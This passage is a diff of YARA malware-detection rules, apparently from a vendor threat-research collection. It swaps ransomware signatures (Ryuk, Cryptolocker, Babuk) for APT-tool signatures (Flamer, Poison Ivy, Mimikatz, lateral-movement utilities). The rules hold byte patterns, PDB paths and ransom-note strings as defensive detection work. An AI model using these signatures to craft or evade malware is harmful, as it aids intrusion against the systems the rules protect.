"https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_wannaren.yar#L1-L34" + description = "Rule to detect Flamer based on the PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "3bbe043d-c0dc-5aa2-b985-800a6d9038fd" + date = "2012-05-29" + modified = "2020-08-14" + reference = "https://www.forcepoint.com/ko/blog/x-labs/flameflamerskywiper-one-most-advanced-malware-found-yet" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/flamer_pdb.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "7b364f1c854e6891c8d09766bcc9a49420e0b5b4084d74aa331ae94e2cfb7e1d" - logic_hash = "0feb913b84eb0ecdda688f0cf0a5051798fe4fbce8a6ea959825985a81a6699c" + hash = "554924ebdde8e68cb8d367b8e9a016c5908640954ec9fb936ece07ac4c5e1b75" + logic_hash = "3c1d3d015e086cff1f3d5add39397d8ed251b12144b31d8547165cbd0217735c" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "BACKDOOR, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/WannaRen" - actor_type = "Cybercrime" + malware_type = "backdoor" + malware_family = "Backdoor:W32/Flamer" + actor_type = "Apt" actor_group = "Unknown" strings: - $sq0 = { 92 93 a91c2ea521 59 334826 } - $sq1 = { d0ce 6641 c1e9c0 41 80f652 49 c1f94d } - $sq2 = { 80f8b5 4d 63c9 f9 4d 03d9 41 } - $sq3 = { 34b7 d2ea 660fbafa56 0f99c2 32d8 660fbafaed 99 } - $sq4 = { f9 f7c70012355f 35c01f5226 f9 8d8056c800b0 f6c4b2 f9 } - $sq5 = { f5 f9 44 3aeb 45 33cd 41 } - $sq6 = { 890f c0ff12 44 b4a3 ee 2b4e70 7361 } - $sq7 = { 81c502000000 6689542500 6681d97a1e 660fabe1 660fbae1a5 8b0f 8dbf04000000 } - $sq8 = { 8d13 de11 d7 677846 f1 0d8cd45f87 bb34b98f33 } - $sq9 = { 1440 4b 41 e8???????? 397c0847 } + $pdb = "\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\indsvc32.pdb" condition: - uint16( 0 ) == 0x5a4d and filesize < 21000KB and 7 of them + uint16( 0 ) == 0x5a4d and filesize < 500KB and any of them } -rule TRELLIX_ARC_Cryptolocker_Set1 : RANSOMWARE +rule TRELLIX_ARC_Apt_Miniasp_Pdb : TROJAN FILE { meta: - description = "Detection of Cryptolocker Samples" - author = "Christiaan Beek, Christiaan_Beek@McAfee.com" - id = "13ccc6d3-c2cc-59ac-81af-ec11fb78cd41" - date = "2014-04-13" + description = "Rule to detect MiniASP based on PDB" + author = "Marc Rivero | McAfee ATR Team" + id = "2e7e2990-5e7f-52b0-884a-fcb54b2f5488" + date = "2012-07-12" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Cryptolocker.yar#L1-L40" + reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_MiniASP_pdb.yar#L1-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "5be8d077537a59d860a972392be186d2697e55778f750d03b0fd3b0a73f714d9" + hash = "42334f2119069b8c0ececfb14a7030e480b5d18ca1cc35f1ceaee847bc040e53" + logic_hash = "8ee6f93aaae2c48cc5835269fd526371040cd33cc309220f92a150444ba21055" score = 75 quality = 70 - tags = "RANSOMWARE" + tags = "TROJAN, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Cryptolocker" - actor_type = "Cybercrime" + malware_type = "trojan" + malware_family = "Trojan:W32/MiniASP" + actor_type = "Apt" actor_group = "Unknown" strings: - $string0 = "static" - $string1 = " kscdS" - $string2 = "Romantic" - $string3 = "CompanyName" wide - $string4 = "ProductVersion" wide - $string5 = "9%9R9f9q9" - $string6 = "IDR_VERSION1" wide - $string7 = " </trustInfo>" - $string8 = "LookFor" wide - $string9 = ":n;t;y;" - $string10 = " <requestedExecutionLevel level" - $string11 = "VS_VERSION_INFO" wide - $string12 = "2.0.1.0" wide - $string13 = "<assembly xmlns" - $string14 = " <trustInfo xmlns" - $string15 = "srtWd@@" - $string16 = "515]5z5" - $string17 = "C:\\lZbvnoVe.exe" wide + $pdb = "\\Project\\mm\\Wininet\\Attack\\MiniAsp4\\Release\\MiniAsp.pdb" + $pdb1 = "\\XiaoME\\AiH\\20120410\\Attack\\MiniAsp3\\Release\\MiniAsp.pdb" condition: - 12 of ( $string* ) + uint16( 0 ) == 0x5a4d and filesize < 80KB and any of them } -rule TRELLIX_ARC_Cryptolocker_Rule2 : RANSOMWARE +rule TRELLIX_ARC_Apt_Auriga_Driver : KERNELDRIVER FILE { meta: - description = "Detection of CryptoLocker Variants" - author = "Christiaan Beek, Christiaan_Beek@McAfee.com" - id = "a6e808ef-4f60-5592-9440-69309784efb1" - date = "2014-04-14" + description = "Rule to detect the Auriga driver" + author = "Marc Rivero | McAfee ATR Team" + id = "b61058a1-1b48-5be1-ba2f-74a7c3d38825" + date = "2013-03-13" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Cryptolocker.yar#L42-L79" + reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_auriga_biscuit.yar#L1-L39" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "e8e03516cc0b669000c8d6b443be7a5f7a8b904abba98fd3c7d4f038de6741ab" + hash = "207eee627a76449ac6d2ca43338d28087c8b184e7b7b50fdc60a11950c8283ec" + logic_hash = "c027073ba398fe89d418be67f0850c8d9e4d4c50a991c45b84cdb416497ccf1c" score = 75 quality = 70 - tags = "RANSOMWARE" + tags = "KERNELDRIVER, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Cryptolocker" - actor_type = "Cybercrime" - actor_group = "Unknown" + malware_type = "kerneldriver" + malware_family = "Driver:W32/Auriga" + actor_type = "APT" + actor_group = "APT1" strings: - $string0 = "2.0.1.7" wide - $string1 = " <security>" - $string2 = "Romantic" - $string3 = "ProductVersion" wide - $string4 = "9%9R9f9q9" - $string5 = "IDR_VERSION1" wide - $string6 = "button" - $string7 = " </security>" - $string8 = "VFileInfo" wide - $string9 = "LookFor" wide - $string10 = " </requestedPrivileges>" - $string11 = " uiAccess" - $string12 = " <trustInfo xmlns" - $string13 = "last.inf" - $string14 = " manifestVersion" - $string15 = "FFFF04E3" wide - $string16 = "3,31363H3P3m3u3z3" + $s1 = "\\SystemRoot\\System32\\netui.dll" fullword wide + $s2 = "\\SystemRoot\\System32\\drivers\\riodrv32.sys" fullword wide + $s3 = "\\SystemRoot\\System32\\arp.exe" fullword wide + $s4 = "netui.dll" fullword ascii + $s5 = "riodrv32.sys" fullword wide + $s6 = "\\netui.dll" fullword wide + $s7 = "d:\\drizt\\projects\\auriga\\branches\\stone_~1\\server\\exe\\i386\\riodrv32.pdb" fullword ascii + $s8 = "\\riodrv32.sys" fullword wide + $s9 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\riodrv32" fullword wide + $s10 = "\\DosDevices\\rio32drv" fullword wide + $s11 = "e\\Driver\\nsiproxy" fullword wide + $s12 = "(C) S3/Diamond Multimedia Systems. All rights reserved." fullword wide + $s13 = "\\Device\\rio32drv" fullword wide + $s14 = "\\Registry\\Machine\\SOFTWARE\\riodrv" fullword wide + $s15 = "\\Registry\\Machine\\SOFTWARE\\riodrv32" fullword wide condition: - 12 of ( $string* ) + uint16( 0 ) == 0x5a4d and filesize < 50KB and all of them } -rule TRELLIX_ARC_Snake_Ransomware : RANSOMWARE FILE + +rule TRELLIX_ARC_Shadowspawn_Utility : UTILITY FILE { meta: - description = "Rule to detect Snake ransomware" - author = "McAfee ATR Team" - id = "b8f50af5-5568-5676-93a1-e818f08df0ce" - date = "2020-02-20" - modified = "2020-10-12" - reference = "https://dragos.com/blog/industry-news/ekans-ransomware-and-ics-operations/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_snake_ransomware.yar#L1-L26" + description = "Rule to detect ShadowSpawn utility used in the SoftCell operation" + author = "Marc Rivero | McAfee ATR Team" + id = "0a325f5c-2750-5354-b920-f7e1510a8b71" + date = "2019-06-25" + modified = "2020-08-14" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L3-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "e5262db186c97bbe533f0a674b08ecdafa3798ea7bc17c705df526419c168b60" - logic_hash = "3ae64fbacbf886b8d09abc3f5f8eb9c8bff809909a251f2d055056e6d12217a2" + logic_hash = "0f2805aee60cdb4eb932768849c845052c92131d0b25a511b822b79b2ac93e24" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" + tags = "UTILITY, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/EKANS" - actor_type = "Cybercrime" + malware_type = "utility" + malware_family = "Trojan:W32/ShadowSpawn" + actor_type = "Apt" actor_group = "Unknown" strings: - $snake = { 43 3A 2F 55 73 ?? 72 ?? 2F 57 49 4E 31 2F 67 6F 2F 73 ?? 63 2F 6A 6F 62 6E 68 62 67 6E 6E 69 66 70 6F 64 68 68 70 ?? 6D 66 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 6E 66 64 6C 68 6F 70 68 6B 65 69 6A 61 64 67 66 64 64 69 6D 2F 76 74 5F 73 74 ?? 69 6E 67 2E 67 6F 00 } + $pdb = "C:\\data\\projects\\shadowspawn\\src\\bin\\Release-W2K3\\x64\\ShadowSpawn.pdb" fullword ascii + $op0 = { e9 34 ea ff ff cc cc cc cc 48 8d 8a 20 } + $op1 = { 48 8b 85 e0 06 00 00 48 8d 34 00 48 8d 46 02 48 } + $op2 = { e9 34 c1 ff ff cc cc cc cc 48 8b 8a 68 } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 11000KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "eaae87b11d2ebdd286af419682037b4c" and all of them ) } -rule TRELLIX_ARC_Megacortex_Signed : RANSOMWARE FILE +rule TRELLIX_ARC_Poison_Ivy_Softcell : RAT FILE { meta: - description = "Rule to detect MegaCortex samples digitally signed" + description = "Rule to detect Poison Ivy used in the SoftCell operation" author = "Marc Rivero | McAfee ATR Team" - id = "78a74e30-4de0-5e63-8ca5-31251c296f98" - date = "2026-02-01" + id = "c362b116-4cb6-5393-9c64-28e8d2886dc7" + date = "2019-06-25" modified = "2020-08-14" - reference = "https://blog.malwarebytes.com/detections/ransom-megacortex/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_MegaCortex.yar#L3-L26" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L34-L72" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8ffced3aca837682fbd7ee68f559f73b8299cbfbe198f48124c4857680735249" + logic_hash = "ac84023404d76adf8cfd8d26bb59fb51f29057748806c4f5ea0634803fd937cd" score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - malware_type = "ransomware" - malware_family = "Ransom:W32/MegaCortex" - actor_type = "Cybercrime" + tags = "RAT, FILE" + rule_version = "v1" + malware_type = "rat" + malware_family = "Rat:W32/PoisonIvy" + actor_type = "Apt" actor_group = "Unknown" + strings: + $s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide + $s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide + $s3 = "&Enter password for the encrypted file:" fullword wide + $s4 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii + $s5 = "setup.bat" fullword ascii + $s6 = "ErroraErrors encountered while performing the operation" fullword wide + $s7 = "Please download a fresh copy and retry the installation" fullword wide + $s8 = "antivir.dat" fullword ascii + $s9 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide + $s10 = "=Total path and file name length must not exceed %d characters" fullword wide + $s11 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide + $op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 } + $op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 } + $op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d } + condition: - uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/C=GB/L=ROMFORD/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures [ i ] . serial == "04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b" or pe.signatures [ i ] . subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures [ i ] . serial == "53:cc:4c:69:e5:6a:7d:bc:36:67:d5:ff:d5:24:aa:4b" or pe.signatures [ i ] . subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" or pe.signatures [ i ] . serial == "00:ad:72:9a:65:f1:78:47:ac:b8:f8:49:6a:76:80:ff:1e" ) + uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "dbb1eb5c3476069287a73206929932fd" and all of them ) } -rule TRELLIX_ARC_Ryuk_Ransomware : RANSOMWARE FILE + +rule TRELLIX_ARC_Trochilus_Softcell : TROJAN FILE { meta: - description = "Ryuk Ransomware hunting rule" - author = "Christiaan Beek - McAfee ATR team" - id = "d3e67e26-3b34-5c28-a1c0-c4aeacd49df9" - date = "2019-04-25" - modified = "2021-07-12" - reference = "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Ryuk.yar#L1-L47" + description = "Rule to detect Trochilus malware used in the SoftCell operation" + author = "Trellix ARC Team" + id = "81e942ae-936f-5952-8d50-ee8cec74520b" + date = "2019-06-25" + modified = "2020-08-14" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L74-L106" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "43c0be708fa8a388dce6e1dd721e24329b5b08a942d99e9b2631c90155790c4b" - score = 50 + logic_hash = "80a0841a08627acf11707f3aeef4e7c3777aecf04b932755efa618d7e92b0cda" + score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - rule_version = "v2" - malware_type = "ransomware" - malware_family = "Ransom:W32/Ryuk" - actor_type = "Cybercrime" + tags = "TROJAN, FILE" + rule_version = "v1" + malware_type = "trojan" + malware_family = "Trojan:W32/Trochilus" + actor_type = "Apt" actor_group = "Unknown" strings: - $x1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii - $x2 = "\\System32\\cmd.exe" fullword wide - $s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects\\ConsoleApplication54new crypted" ascii - $s2 = "fg4tgf4f3.dll" fullword wide - $s3 = "lsaas.exe" fullword wide - $s4 = "\\Documents and Settings\\Default User\\sys" fullword wide - $s5 = "\\Documents and Settings\\Default User\\finish" fullword wide - $s6 = "\\users\\Public\\sys" fullword wide - $s7 = "\\users\\Public\\finish" fullword wide - $s8 = "You will receive btc address for payment in the reply letter" fullword ascii - $s9 = "hrmlog" fullword wide - $s10 = "No system is safe" fullword ascii - $s11 = "keystorage2" fullword wide - $s12 = "klnagent" fullword wide - $s13 = "sqbcoreservice" fullword wide - $s14 = "tbirdconfig" fullword wide - $s15 = "taskkill" fullword wide - $op0 = { 8b 40 10 89 44 24 34 c7 84 24 c4 } - $op1 = { c7 44 24 34 00 40 00 00 c7 44 24 38 01 } + $s1 = "Shell.dll" fullword ascii + $s2 = "photo.dat" fullword wide + $s3 = "VW9HxtV9H|tQ9" fullword ascii + $s4 = "G6uEGRich7uEG" fullword ascii + $op0 = { e8 9d ad ff ff ff b6 a8 } + $op1 = { e8 d4 ad ff ff ff b6 94 } + $op2 = { e8 ea ad ff ff ff b6 8c } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "8e13ebc144667958722686cb04ee16f8" and ( pe.exports ( "Entry" ) and pe.exports ( "Main" ) ) and all of them ) } -rule TRELLIX_ARC_RANSOM_RYUK_May2021 : RANSOMWARE FILE + +rule TRELLIX_ARC_Lg_Utility_Lateral_Movement_Softcell : UTILITY FILE { meta: - description = "Rule to detect latest May 2021 compiled Ryuk variant" - author = "Marc Elias | McAfee ATR Team" - id = "6e415a9e-7373-50a8-ad57-f95220faed9c" - date = "2021-05-21" - modified = "2021-07-12" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Ryuk.yar#L91-L113" + description = "Rule to detect the utility LG from Joeware to do Lateral Movement in the SoftCell operation" + author = "Marc Rivero | McAfee ATR Team" + id = "4f435348-427a-5f35-9545-5582033eb043" + date = "2019-06-25" + modified = "2020-08-14" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L108-L143" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "8f368b029a3a5517cb133529274834585d087a2d3a5875d03ea38e5774019c8a" - logic_hash = "b379c1182e60ce8c777668386d8cbd08350dd2363770dec56502bf44aaf5d7f6" - score = 50 + logic_hash = "f88781b9632cd31bb9e3d68730c63c3fcd0ebe4a09b70b5b54d456cdc9ae8d01" + score = 75 quality = 70 - tags = "RANSOMWARE, FILE" - version = "0.1" + tags = "UTILITY, FILE" + rule_version = "v1" + malware_type = "utility" + malware_family = "Utility:W32/Joeware" + actor_type = "Apt" + actor_group = "Unknown" strings: - $ryuk_filemarker = "RYUKTM" fullword wide ascii - $sleep_constants = { 68 F0 49 02 00 FF (15|D1) [0-4] 68 ?? ?? ?? ?? 6A 01 } - $icmp_echo_constants = { 68 A4 06 00 00 6A 44 8D [1-6] 5? 6A 00 6A 20 [5-20] FF 15 } + $s1 = "lg \\\\comp1\\users louise -add -r comp3" fullword ascii + $s2 = "lg \\\\comp1\\users S-1-5-567-678-89765-456 -sid -add" fullword ascii + $s3 = "lg \\\\comp1\\users -sidsout" fullword ascii + $s4 = "Enumerates members of localgroup users on localhost" fullword ascii + $s5 = "Adds SID resolved at comp3 for louise to localgroup users on comp1" fullword ascii + $s6 = "CodeGear C++ - Copyright 2008 Embarcadero Technologies" fullword ascii + $s7 = "Lists members of localgroup users on comp1 in SID format" fullword ascii + $s8 = "ERROR: Verify that CSV lines are available in PIPE input. " fullword ascii + $op0 = { 89 43 24 c6 85 6f ff ff ff 00 83 7b 24 10 72 05 } + $op1 = { 68 f8 0e 43 00 e8 8d ff ff ff 83 c4 20 68 f8 0e } + $op2 = { 66 c7 85 74 ff ff ff 0c 00 8d 55 d8 52 e8 e9 eb } condition: - uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 200KB and ( $ryuk_filemarker or ( $sleep_constants and $icmp_echo_constants ) ) + uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "327ce3f883a5b59e966b5d0e3a321156" and all of them ) } -rule TRELLIX_ARC_Ransom_Avoslocker : FILE +rule TRELLIX_ARC_Mangzamel_Softcell : TROJAN FILE { meta: - description = "Rule to detect Avoslocker Ransomware" - author = "CB @ ATR" - id = "50f029c8-154e-583d-8264-8d86d01075f6" - date = "2021-07-22" - modified = "2021-07-22" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Avoslocker.yar#L3-L27" + description = "Rule to detect Mangzamel used in the SoftCell operation" + author = "Marc Rivero | McAfee ATR Team" + id = "b0473362-7e03-5127-aee5-b5a4f05bcc8e" + date = "2019-06-25" + modified = "2020-08-14" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L145-L176" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "316aaab225797eedd62f9cfde1fdbd799a10441b3b15a8abc76141b57b36b1d3" + logic_hash = "3666c645943eb8469096b8093c74e4d819299d3ffc2b99e37a506d8ef09e90c4" score = 75 quality = 70 - tags = "FILE" - Version = "v1" - DetectionName = "Ransom_Win_Avoslocker" - hash1 = "fb544e1f74ce02937c3a3657be8d125d5953996115f65697b7d39e237020706f" - hash2 = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856" + tags = "TROJAN, FILE" + rule_version = "v1" + malware_type = "trojan" + malware_family = "Trojan:W32/Mangzamel" + actor_type = "Apt" + actor_group = "Unknown" strings: - $v1 = "CryptImportPublicKeyInfo failed. error: %d" fullword ascii - $v2 = "CryptStringToBinary failed. Err: %d" fullword ascii - $v3 = "encrypting %ls failed" fullword wide - $v4 = "CryptDecodeObjectEx 1 failed. Err: %p" fullword ascii - $v5 = "operator co_await" fullword ascii - $v6 = "drive %s took %f seconds" fullword ascii - $seq0 = { 8d 4e 04 5e e9 b1 ff ff ff 55 8b ec ff 75 08 ff } - $seq1 = { 33 c0 80 fb 2d 0f 94 c0 05 ff ff ff 7f eb 02 f7 } - $seq2 = { 8b 40 0c 89 85 1c ff ff ff 8b 40 0c 89 85 18 ff } + $s1 = "Change Service Mode to user logon failure.code:%d" fullword ascii + $s2 = "spoolsvs.exe" fullword wide + $s3 = "System\\CurrentControlSet\\Services\\%s\\parameters\\%s" fullword ascii + $s4 = "Please Correct [-s %s]" fullword ascii + $s5 = "Please Correct [-m %s]" fullword ascii + $op0 = { 59 8d 85 64 ff ff ff 50 c7 85 64 ff ff ff 94 } + $op1 = { c9 c2 08 00 81 c1 30 34 00 00 e9 cf 9b ff ff 55 } + $op2 = { 80 0f b6 b5 68 ff ff ff c1 e2 04 0b d6 0f b6 b5 } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and pe.imphash ( ) == "a24c2b5bf84a5465eb75f1e6aa8c1eec" and ( 5 of them ) and all of ( $seq* ) ) or ( all of them ) + uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "ef64bb4aa42ef5a8a2e3858a636bce40" and all of them ) } -rule TRELLIX_ARC_Jeff_Dev_Ransomware : RANSOMWARE FILE + +rule TRELLIX_ARC_Nbtscan_Utility_Softcell : UTILITY FILE { meta: - description = "Rule to detect Jeff Dev Ransomware" + description = "Rule to detect nbtscan utility used in the SoftCell operation" author = "Marc Rivero | McAfee ATR Team" - id = "dd5e24f4-a2d8-5db5-9e7e-7f8bded5d401" - date = "2018-08-26" + id = "a2a8dd43-0d30-5da5-9dd3-6ba9f6473c40" + date = "2019-06-25" modified = "2020-08-14" - reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_jeff_dev.yar#L1-L28" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L178-L209" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "386d4617046790f7f1fcf37505be4ffe51d165ba7cbd42324aed723288ca7e0a" - logic_hash = "58a408f4e1781540e4abdb87b85b94c1f0ea49b40bf241d6d074bc2162ac2032" + logic_hash = "6079f1363578f82fd38971d0c8f69cc156f7f678c3f2be22c5d9c3748dc80b1f" score = 75 quality = 45 - tags = "RANSOMWARE, FILE" + tags = "UTILITY, FILE" rule_version = "v1" - malware_type = "ransomware" - malware_family = "Ransom:W32/Jeff" - actor_type = "Cybercrime" + malware_type = "utility" + malware_family = "Utility:W32/NbtScan" + actor_type = "Apt" actor_group = "Unknown" strings: - $s1 = "C:\\Users\\Umut\\Desktop\\takemeon" fullword wide - $s2 = "C:\\Users\\Umut\\Desktop\\" fullword ascii - $s3 = "PRESS HERE TO STOP THIS CREEPY SOUND AND VIEW WHAT HAPPENED TO YOUR COMPUTER" fullword wide - $s4 = "WHAT YOU DO TO MY COMPUTER??!??!!!" fullword wide + $s1 = "nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/" fullword ascii + $s2 = "parse_target_cb.c" fullword ascii + $s3 = "ranges. Ranges can be in /nbits notation (\"192.168.12.0/24\")" fullword ascii + $s4 = "or with a range in the last octet (\"192.168.12.64-97\")" fullword ascii + $op0 = { 52 68 d4 66 40 00 8b 85 58 ff ff ff 50 ff 15 a0 } + $op1 = { e9 1c ff ff ff 8b 45 fc 8b e5 5d c3 cc cc cc cc } + $op2 = { 59 59 c3 8b 65 e8 ff 75 d0 ff 15 34 60 40 00 ff } condition: - ( uint16( 0 ) == 0x5a4d and filesize < 5000KB ) and all of them + uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "2fa43c5392ec7923ababced078c2f98d" and all of them ) } -rule TRELLIX_ARC_Ransom_Babuk : RANSOM T1027 T1083 T1057 T1082 T1129 T1490 T1543_003 FILE + +rule TRELLIX_ARC_Mimikatz_Utility_Softcell : HACKTOOL FILE { meta: - description = "Rule to detect Babuk Locker" - author = "TS @ McAfee ATR" - id = "7c0a3b4e-90aa-5442-aa5e-1a7fcae9bec8" - date = "2021-01-19" - modified = "2021-02-24" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BabukLocker_Jan2021.yar#L1-L25" + description = "Rule to detect Mimikatz utility used in the SoftCell operation" + author = "Marc Rivero | McAfee ATR Team" + id = "0c01a2f6-cf3c-57b3-8f19-94d320422658" + date = "2019-06-25" + modified = "2020-08-14" + reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L211-L258" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "e10713a4a5f635767dcd54d609bed977" - logic_hash = "123cebd1c2e66f3e91ee235cb9288df63dfaeba02e6df45f896cb50f38851a8f" + logic_hash = "4ccb44bf0d490a18e35290d904326ce14cdc92c96be1a38e6059431645233e37" score = 75 - quality = 70 - tags = "RANSOM, T1027, T1083, T1057, T1082, T1129, T1490, T1543.003, FILE" - rule_version = "v2" - malware_family = "Ransom:Win/Babuk" - malware_type = "Ransom" - mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003" + quality = 68 + tags = "HACKTOOL, FILE" + rule_version = "v1" + malware_type = "hacktool" + malware_family = "Hacktool:W32/Mimikatz" + actor_type = "Apt" + actor_group = 